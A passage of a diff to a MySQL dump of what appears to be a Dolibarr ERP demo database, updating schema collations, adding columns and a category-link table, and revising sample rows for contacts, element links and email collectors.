12:42:01',12,12,NULL,NULL,NULL,1,NULL,'facture',239),(245,'8b39214a6210ab9fd71e9883387410ef','4baa16b7730541dd100fd1496f5eeaa9','29NMweLzU9s1T7Na2o4en7d1V8mMdSGM',1,'(PROV240).pdf','facture/(PROV240)','','','',NULL,'generated',NULL,'2023-03-15 09:44:36','2023-03-15 12:45:29',12,12,NULL,NULL,NULL,1,NULL,'facture',240); /*!40000 ALTER TABLE `llx_ecm_files` ENABLE KEYS */; UNLOCK TABLES; @@ -5703,7 +4945,7 @@ CREATE TABLE `llx_ecm_files_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) CHARACTER SET utf8mb4 DEFAULT NULL, + `import_key` varchar(14) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_ecm_files_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -5718,6 +4960,34 @@ LOCK TABLES `llx_ecm_files_extrafields` WRITE; /*!40000 ALTER TABLE `llx_ecm_files_extrafields` ENABLE KEYS */; UNLOCK TABLES; +-- +-- Table structure for table `llx_element_categorie` +-- + +DROP TABLE IF EXISTS `llx_element_categorie`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `llx_element_categorie` ( + `rowid` int(11) NOT NULL AUTO_INCREMENT, + `fk_categorie` int(11) NOT NULL, + `fk_element` int(11) NOT NULL, + `import_key` varchar(14) DEFAULT NULL, + PRIMARY KEY (`rowid`), + UNIQUE KEY `idx_element_categorie_idx` (`fk_element`,`fk_categorie`), + KEY `fk_element_categorie_fk_categorie` (`fk_categorie`), + CONSTRAINT `fk_element_categorie_fk_categorie` FOREIGN KEY (`fk_categorie`) REFERENCES `llx_categorie` (`rowid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `llx_element_categorie` +-- + +LOCK TABLES `llx_element_categorie` WRITE; +/*!40000 ALTER TABLE `llx_element_categorie` DISABLE KEYS */; +/*!40000 ALTER TABLE `llx_element_categorie` ENABLE KEYS */; +UNLOCK TABLES; + -- -- Table structure for table `llx_element_contact` -- @@ -5737,7 +5007,7 @@ CREATE TABLE `llx_element_contact` ( KEY `fk_element_contact_fk_c_type_contact` (`fk_c_type_contact`), KEY `idx_element_contact_fk_socpeople` (`fk_socpeople`), CONSTRAINT `fk_element_contact_fk_c_type_contact` FOREIGN KEY (`fk_c_type_contact`) REFERENCES `llx_c_type_contact` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=40 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=51 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -5746,7 +5016,7 @@ CREATE TABLE `llx_element_contact` ( LOCK TABLES `llx_element_contact` WRITE; /*!40000 ALTER TABLE `llx_element_contact` DISABLE KEYS */; -INSERT INTO `llx_element_contact` VALUES (1,'2012-07-09 00:49:43',4,1,160,1),(2,'2012-07-09 00:49:56',4,2,160,1),(3,'2012-07-09 00:50:19',4,3,160,1),(4,'2012-07-09 00:50:42',4,4,160,1),(5,'2012-07-09 01:52:36',4,1,120,1),(6,'2012-07-09 01:53:25',4,1,10,2),(7,'2012-07-09 01:53:25',4,1,11,2),(8,'2012-07-10 18:13:37',4,2,10,2),(9,'2012-07-10 18:13:37',4,2,11,2),(11,'2012-07-11 16:22:36',4,5,160,1),(12,'2012-07-11 16:23:53',4,2,180,1),(13,'2015-01-23 15:04:27',4,19,200,5),(14,'2015-01-23 16:06:37',4,19,210,2),(15,'2015-01-23 16:12:43',4,19,220,2),(16,'2015-03-06 10:04:57',4,3,10,1),(17,'2015-03-06 10:04:57',4,3,11,1),(18,'2016-12-21 13:52:41',4,3,180,1),(19,'2016-12-21 13:55:39',4,4,180,1),(20,'2016-12-21 14:16:58',4,5,180,1),(21,'2018-07-30 15:29:07',4,6,160,12),(22,'2018-07-30 15:29:48',4,7,160,12),(23,'2018-07-30 15:30:25',4,8,160,12),(24,'2018-07-30 15:33:27',4,6,180,12),(25,'2018-07-30 15:33:39',4,7,180,12),(26,'2018-07-30 15:33:54',4,8,180,12),(27,'2018-07-30 15:34:09',4,9,180,12),(28,'2018-07-31 18:27:20',4,9,160,12),(29,'2019-09-26 14:09:02',4,2,155,12),(30,'2019-09-26 14:10:31',4,3,157,1),(31,'2019-09-26 14:10:57',4,3,155,14),(32,'2019-11-29 12:46:47',4,6,155,16),(33,'2019-11-29 12:52:53',4,7,155,16),(34,'2019-12-21 19:46:33',4,10,160,12),(35,'2019-12-21 19:49:28',4,11,160,12),(36,'2019-12-21 19:52:12',4,12,160,12),(37,'2019-12-21 19:53:21',4,13,160,12),(38,'2020-06-12 19:13:21',4,4,180,12),(39,'2020-06-12 19:13:21',4,1,161,12); +INSERT INTO `llx_element_contact` VALUES (1,'2012-07-09 00:49:43',4,1,160,1),(2,'2012-07-09 00:49:56',4,2,160,1),(3,'2012-07-09 00:50:19',4,3,160,1),(4,'2012-07-09 00:50:42',4,4,160,1),(5,'2012-07-09 01:52:36',4,1,120,1),(6,'2012-07-09 01:53:25',4,1,10,2),(7,'2012-07-09 01:53:25',4,1,11,2),(8,'2012-07-10 18:13:37',4,2,10,2),(9,'2012-07-10 18:13:37',4,2,11,2),(11,'2012-07-11 16:22:36',4,5,160,1),(12,'2012-07-11 16:23:53',4,2,180,1),(13,'2015-01-23 15:04:27',4,19,200,5),(14,'2015-01-23 16:06:37',4,19,210,2),(15,'2015-01-23 16:12:43',4,19,220,2),(16,'2015-03-06 10:04:57',4,3,10,1),(17,'2015-03-06 10:04:57',4,3,11,1),(18,'2016-12-21 13:52:41',4,3,180,1),(19,'2016-12-21 13:55:39',4,4,180,1),(20,'2016-12-21 14:16:58',4,5,180,1),(21,'2018-07-30 15:29:07',4,6,160,12),(22,'2018-07-30 15:29:48',4,7,160,12),(23,'2018-07-30 15:30:25',4,8,160,12),(24,'2018-07-30 15:33:27',4,6,180,12),(25,'2018-07-30 15:33:39',4,7,180,12),(26,'2018-07-30 15:33:54',4,8,180,12),(27,'2018-07-30 15:34:09',4,9,180,12),(28,'2018-07-31 18:27:20',4,9,160,12),(29,'2019-09-26 14:09:02',4,2,155,12),(30,'2019-09-26 14:10:31',4,3,157,1),(31,'2019-09-26 14:10:57',4,3,155,14),(33,'2019-11-29 12:52:53',4,7,155,16),(34,'2019-12-21 19:46:33',4,10,160,12),(35,'2019-12-21 19:49:28',4,11,160,12),(36,'2019-12-21 19:52:12',4,12,160,12),(37,'2019-12-21 19:53:21',4,13,160,12),(38,'2020-06-12 19:13:21',4,4,180,12),(39,'2020-06-12 19:13:21',4,1,161,12),(40,'2023-01-04 13:58:48',4,6,156,4),(42,'2023-01-04 13:58:57',4,6,155,3),(43,'2023-01-04 14:00:23',4,6,156,12),(45,'2023-01-17 08:16:16',4,6,161,1),(46,'2023-01-17 08:16:16',4,6,181,1),(47,'2023-01-17 08:16:16',4,7,181,1),(48,'2023-01-17 08:16:16',4,8,181,1),(49,'2023-01-17 08:16:16',4,9,181,1),(50,'2023-01-17 08:16:16',4,7,161,1); /*!40000 ALTER TABLE `llx_element_contact` ENABLE KEYS */; UNLOCK TABLES; @@ -5760,13 +5030,13 @@ DROP TABLE IF EXISTS `llx_element_element`; CREATE TABLE `llx_element_element` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_source` int(11) NOT NULL, - `sourcetype` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, + `sourcetype` varchar(32) NOT NULL, `fk_target` int(11) NOT NULL, - `targettype` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, + `targettype` varchar(32) NOT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `idx_element_element_idx1` (`fk_source`,`sourcetype`,`fk_target`,`targettype`), KEY `idx_element_element_fk_target` (`fk_target`) -) ENGINE=InnoDB AUTO_INCREMENT=34 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=36 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -5775,7 +5045,7 @@ CREATE TABLE `llx_element_element` ( LOCK TABLES `llx_element_element` WRITE; /*!40000 ALTER TABLE `llx_element_element` DISABLE KEYS */; -INSERT INTO `llx_element_element` VALUES (4,1,'order_supplier',20,'invoice_supplier'),(12,1,'shipping',217,'facture'),(5,2,'cabinetmed_cabinetmedcons',216,'facture'),(1,2,'contrat',2,'facture'),(33,2,'order_supplier',1,'reception'),(2,2,'propal',1,'commande'),(30,4,'subscription',229,'facture'),(3,5,'commande',1,'shipping'),(13,5,'commande',217,'facture'),(31,5,'subscription',230,'facture'),(32,6,'subscription',231,'facture'),(11,25,'propal',92,'commande'),(9,28,'propal',90,'commande'),(10,29,'propal',91,'commande'),(14,29,'propal',94,'commande'),(15,29,'propal',95,'commande'),(18,34,'propal',96,'commande'),(19,34,'propal',97,'commande'),(26,36,'propal',98,'commande'),(28,36,'propal',99,'commande'),(27,36,'propal',227,'facture'),(29,36,'propal',228,'facture'),(20,62,'commande',220,'facture'),(21,62,'commande',221,'facture'),(22,62,'commande',222,'facture'),(23,62,'commande',223,'facture'),(24,62,'commande',224,'facture'),(25,62,'commande',225,'facture'),(6,75,'commande',2,'shipping'); +INSERT INTO `llx_element_element` VALUES (4,1,'order_supplier',20,'invoice_supplier'),(12,1,'shipping',217,'facture'),(5,2,'cabinetmed_cabinetmedcons',216,'facture'),(1,2,'contrat',2,'facture'),(35,2,'contrat',239,'facture'),(33,2,'order_supplier',1,'reception'),(2,2,'propal',1,'commande'),(30,4,'subscription',229,'facture'),(3,5,'commande',1,'shipping'),(13,5,'commande',217,'facture'),(31,5,'subscription',230,'facture'),(32,6,'subscription',231,'facture'),(11,25,'propal',92,'commande'),(9,28,'propal',90,'commande'),(10,29,'propal',91,'commande'),(14,29,'propal',94,'commande'),(15,29,'propal',95,'commande'),(18,34,'propal',96,'commande'),(19,34,'propal',97,'commande'),(26,36,'propal',98,'commande'),(28,36,'propal',99,'commande'),(27,36,'propal',227,'facture'),(29,36,'propal',228,'facture'),(20,62,'commande',220,'facture'),(21,62,'commande',221,'facture'),(22,62,'commande',222,'facture'),(23,62,'commande',223,'facture'),(24,62,'commande',224,'facture'),(25,62,'commande',225,'facture'),(6,75,'commande',2,'shipping'),(34,237,'facture',238,'facture'); /*!40000 ALTER TABLE `llx_element_element` ENABLE KEYS */; UNLOCK TABLES; @@ -5789,9 +5059,9 @@ DROP TABLE IF EXISTS `llx_element_resources`; CREATE TABLE `llx_element_resources` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `element_id` int(11) DEFAULT NULL, - `element_type` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `element_type` varchar(64) DEFAULT NULL, `resource_id` int(11) DEFAULT NULL, - `resource_type` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `resource_type` varchar(64) DEFAULT NULL, `busy` int(11) DEFAULT NULL, `mandatory` int(11) DEFAULT NULL, `fk_user_create` int(11) DEFAULT NULL, @@ -5823,38 +5093,41 @@ DROP TABLE IF EXISTS `llx_emailcollector_emailcollector`; CREATE TABLE `llx_emailcollector_emailcollector` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `host` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `user` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `password` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `source_directory` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `filter` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `actiontodo` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `target_directory` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(128) NOT NULL, + `label` varchar(255) DEFAULT NULL, + `description` mediumtext DEFAULT NULL, + `host` varchar(255) DEFAULT NULL, + `user` varchar(128) DEFAULT NULL, + `password` varchar(128) DEFAULT NULL, + `source_directory` varchar(255) DEFAULT NULL, + `filter` mediumtext DEFAULT NULL, + `actiontodo` varchar(255) DEFAULT NULL, + `target_directory` varchar(255) DEFAULT NULL, `datelastresult` datetime DEFAULT NULL, - `lastresult` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `lastresult` text DEFAULT NULL, + `note_public` mediumtext DEFAULT NULL, + `note_private` mediumtext DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `status` int(11) NOT NULL, - `codelastresult` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `codelastresult` varchar(16) DEFAULT NULL, `position` int(11) DEFAULT 0, - `login` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `login` varchar(128) DEFAULT NULL, `datelastok` datetime DEFAULT NULL, `maxemailpercollect` int(11) DEFAULT 100, - `hostcharset` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT 'UTF-8', + `hostcharset` varchar(16) DEFAULT 'UTF-8', + `port` varchar(10) DEFAULT '993', + `acces_type` int(11) DEFAULT 0, + `oauth_service` varchar(128) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_emailcollector_emailcollector_ref` (`ref`,`entity`), KEY `idx_emailcollector_rowid` (`rowid`), KEY `idx_emailcollector_entity` (`entity`), KEY `idx_emailcollector_status` (`status`) -) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -5863,7 +5136,7 @@ CREATE TABLE `llx_emailcollector_emailcollector` ( LOCK TABLES `llx_emailcollector_emailcollector` WRITE; /*!40000 ALTER TABLE `llx_emailcollector_emailcollector` DISABLE KEYS */; -INSERT INTO `llx_emailcollector_emailcollector` VALUES (3,1,'Collect_Ticket_Requests','Example to collect ticket requests','This collector will scan your mailbox to find emails that match some rules and create automatically a ticket (Module Ticket must be enabled) with the email informations. You can use this collector if you provide some support by email, so your ticket request will be automatically generated. If the collector Collect_Responses is also enabled, when you send an email from the ticket, you may also see answers of your customers or partners directly on the ticket view.',NULL,NULL,NULL,'INBOX',NULL,NULL,NULL,NULL,NULL,NULL,NULL,'2020-01-13 00:13:55','2020-12-10 12:24:38',12,NULL,NULL,0,NULL,0,NULL,NULL,100,'UTF-8'),(4,1,'Collect_Responses_In','Example to collect any email responses','This collector will scan your mailbox to find all emails that are an answer of an email sent from your application. An event with the email response will be recorded at the good place (Module Agenda must be enabled). For example, if your send a commercial proposal, order or invoice by email and your customer answers your email, the system will automatically find the answer and add it into your ERP.',NULL,NULL,NULL,'INBOX',NULL,NULL,NULL,NULL,NULL,NULL,NULL,'2020-01-13 00:13:55','2020-12-10 12:24:38',12,NULL,NULL,0,NULL,0,NULL,NULL,100,'UTF-8'),(5,1,'Collect_Leads','Example to collect leads','This collector will scan your mailbox to find emails that match some rules and create automatically a lead (Module Project must be enabled) with the email informations. You can use this collector if you want to follow your lead using the module Project (1 lead = 1 project), so your leads will be automatically generated. If the collector Collect_Responses is also enabled, when you send an email from your leads, proposals or any other object, you may also see answers of your customers or partners directly on the application.
Note: With this initial example, the title of the lead is generated including the email. If the thirdparty can\'t be found in database (new customer), the lead will be attached to the thirdparty with ID 1.',NULL,NULL,NULL,'INBOX',NULL,NULL,NULL,NULL,NULL,NULL,NULL,'2020-01-13 00:13:55','2020-01-12 20:13:55',12,NULL,NULL,0,NULL,0,NULL,NULL,100,'UTF-8'); +INSERT INTO `llx_emailcollector_emailcollector` VALUES (3,1,'Collect_Ticket_Requests','Example to collect ticket requests','This collector will scan your mailbox to find emails that match some rules and create automatically a ticket (Module Ticket must be enabled) with the email informations. You can use this collector if you provide some support by email, so your ticket request will be automatically generated. If the collector Collect_Responses is also enabled, when you send an email from the ticket, you may also see answers of your customers or partners directly on the ticket view.',NULL,NULL,NULL,'INBOX',NULL,NULL,NULL,NULL,NULL,NULL,NULL,'2020-01-13 00:13:55','2020-12-10 12:24:38',12,NULL,NULL,0,NULL,0,NULL,NULL,100,'UTF-8','993',0,NULL),(4,1,'Collect_Responses_In','Example to collect any email responses','This collector will scan your mailbox to find all emails that are an answer of an email sent from your application. An event with the email response will be recorded at the good place (Module Agenda must be enabled). For example, if your send a commercial proposal, order or invoice by email and your customer answers your email, the system will automatically find the answer and add it into your ERP.',NULL,NULL,NULL,'INBOX',NULL,NULL,NULL,NULL,NULL,NULL,NULL,'2020-01-13 00:13:55','2020-12-10 12:24:38',12,NULL,NULL,0,NULL,0,NULL,NULL,100,'UTF-8','993',0,NULL),(5,1,'Collect_Leads','Example to collect leads','This collector will scan your mailbox to find emails that match some rules and create automatically a lead (Module Project must be enabled) with the email informations. You can use this collector if you want to follow your lead using the module Project (1 lead = 1 project), so your leads will be automatically generated. If the collector Collect_Responses is also enabled, when you send an email from your leads, proposals or any other object, you may also see answers of your customers or partners directly on the application.
Note: With this initial example, the title of the lead is generated including the email. If the thirdparty can\'t be found in database (new customer), the lead will be attached to the thirdparty with ID 1.',NULL,NULL,NULL,'INBOX',NULL,NULL,NULL,NULL,NULL,NULL,NULL,'2020-01-13 00:13:55','2020-01-12 20:13:55',12,NULL,NULL,0,NULL,0,NULL,NULL,100,'UTF-8','993',0,NULL),(6,1,'Test_M',NULL,NULL,'outlook.office365.com',NULL,NULL,'Inbox',NULL,NULL,'',NULL,NULL,NULL,NULL,'2023-02-07 16:37:42','2023-02-07 19:37:42',12,12,NULL,0,NULL,0,'ldestailleur@outlook.fr',NULL,100,'UTF-8','993',1,'MICROSOFT-ddd'),(7,1,'Test_G',NULL,NULL,'imap.gmail.com',NULL,NULL,'Inbox',NULL,NULL,'',NULL,NULL,NULL,NULL,'2023-02-07 16:37:42','2023-02-07 19:37:42',12,12,NULL,0,NULL,0,'contact@destailleur.fr',NULL,100,'UTF-8','993',1,'GOOGLE-bbb'); /*!40000 ALTER TABLE `llx_emailcollector_emailcollector` ENABLE KEYS */; UNLOCK TABLES; @@ -5877,13 +5150,13 @@ DROP TABLE IF EXISTS `llx_emailcollector_emailcollectoraction`; CREATE TABLE `llx_emailcollector_emailcollectoraction` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_emailcollector` int(11) NOT NULL, - `type` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `actionparam` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `type` varchar(128) NOT NULL, + `actionparam` text DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `status` int(11) NOT NULL, `position` int(11) DEFAULT 0, PRIMARY KEY (`rowid`), @@ -5913,13 +5186,13 @@ DROP TABLE IF EXISTS `llx_emailcollector_emailcollectorfilter`; CREATE TABLE `llx_emailcollector_emailcollectorfilter` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_emailcollector` int(11) NOT NULL, - `type` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `rulevalue` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `type` varchar(128) NOT NULL, + `rulevalue` varchar(255) DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `status` int(11) NOT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_emailcollector_emailcollectorfilter` (`fk_emailcollector`,`type`,`rulevalue`), @@ -5950,25 +5223,25 @@ CREATE TABLE `llx_entrepot` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `ref` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(255) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, `fk_project` int(11) DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `lieu` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `address` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `zip` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `town` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` text DEFAULT NULL, + `lieu` varchar(64) DEFAULT NULL, + `address` varchar(255) DEFAULT NULL, + `zip` varchar(10) DEFAULT NULL, + `town` varchar(50) DEFAULT NULL, `fk_departement` int(11) DEFAULT NULL, `fk_pays` int(11) DEFAULT 0, `statut` tinyint(4) DEFAULT 1, `fk_user_author` int(11) DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `fk_parent` int(11) DEFAULT 0, - `fax` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `phone` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fax` varchar(20) DEFAULT NULL, + `phone` varchar(20) DEFAULT NULL, `warehouse_usage` int(11) DEFAULT 1, - `barcode` varchar(180) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `barcode` varchar(180) DEFAULT NULL, `fk_barcode_type` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_entrepot_label` (`ref`,`entity`) @@ -5996,7 +5269,7 @@ CREATE TABLE `llx_entrepot_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_entrepot_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -6021,23 +5294,23 @@ DROP TABLE IF EXISTS `llx_establishment`; CREATE TABLE `llx_establishment` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `name` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `address` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `zip` varchar(25) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `town` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `name` varchar(50) DEFAULT NULL, + `address` varchar(255) DEFAULT NULL, + `zip` varchar(25) DEFAULT NULL, + `town` varchar(50) DEFAULT NULL, `fk_state` int(11) DEFAULT 0, `fk_country` int(11) DEFAULT 0, - `profid1` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `profid2` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `profid3` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `phone` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `profid1` varchar(20) DEFAULT NULL, + `profid2` varchar(20) DEFAULT NULL, + `profid3` varchar(20) DEFAULT NULL, + `phone` varchar(20) DEFAULT NULL, `fk_user_author` int(11) NOT NULL, `fk_user_mod` int(11) DEFAULT NULL, `datec` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `status` tinyint(4) DEFAULT 1, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(30) NOT NULL, + `label` varchar(128) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -6062,7 +5335,7 @@ CREATE TABLE `llx_event_element` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_source` int(11) NOT NULL, `fk_target` int(11) NOT NULL, - `targettype` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, + `targettype` varchar(32) NOT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -6085,27 +5358,28 @@ DROP TABLE IF EXISTS `llx_eventorganization_conferenceorboothattendee`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_eventorganization_conferenceorboothattendee` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(128) NOT NULL, `fk_soc` int(11) DEFAULT NULL, `fk_actioncomm` int(11) DEFAULT NULL, - `email` varchar(100) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email_company` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `email` varchar(100) DEFAULT NULL, + `email_company` varchar(128) DEFAULT NULL, `date_subscription` datetime DEFAULT NULL, `amount` double DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note_private` text DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `status` smallint(6) NOT NULL, `fk_project` int(11) NOT NULL, `fk_invoice` int(11) DEFAULT NULL, - `firstname` varchar(100) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `lastname` varchar(100) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `firstname` varchar(100) DEFAULT NULL, + `lastname` varchar(100) DEFAULT NULL, + `ip` varchar(250) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_eventorganization_conferenceorboothattendee` (`fk_project`,`email`,`fk_actioncomm`), KEY `idx_eventorganization_conferenceorboothattendee_rowid` (`rowid`), @@ -6137,7 +5411,7 @@ CREATE TABLE `llx_eventorganization_conferenceorboothattendee_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_conferenceorboothattendee_fk_object` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -6162,20 +5436,20 @@ DROP TABLE IF EXISTS `llx_events`; CREATE TABLE `llx_events` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `type` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, + `type` varchar(32) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `dateevent` datetime DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, - `description` varchar(250) COLLATE utf8mb3_unicode_ci NOT NULL, - `ip` varchar(250) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `user_agent` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` 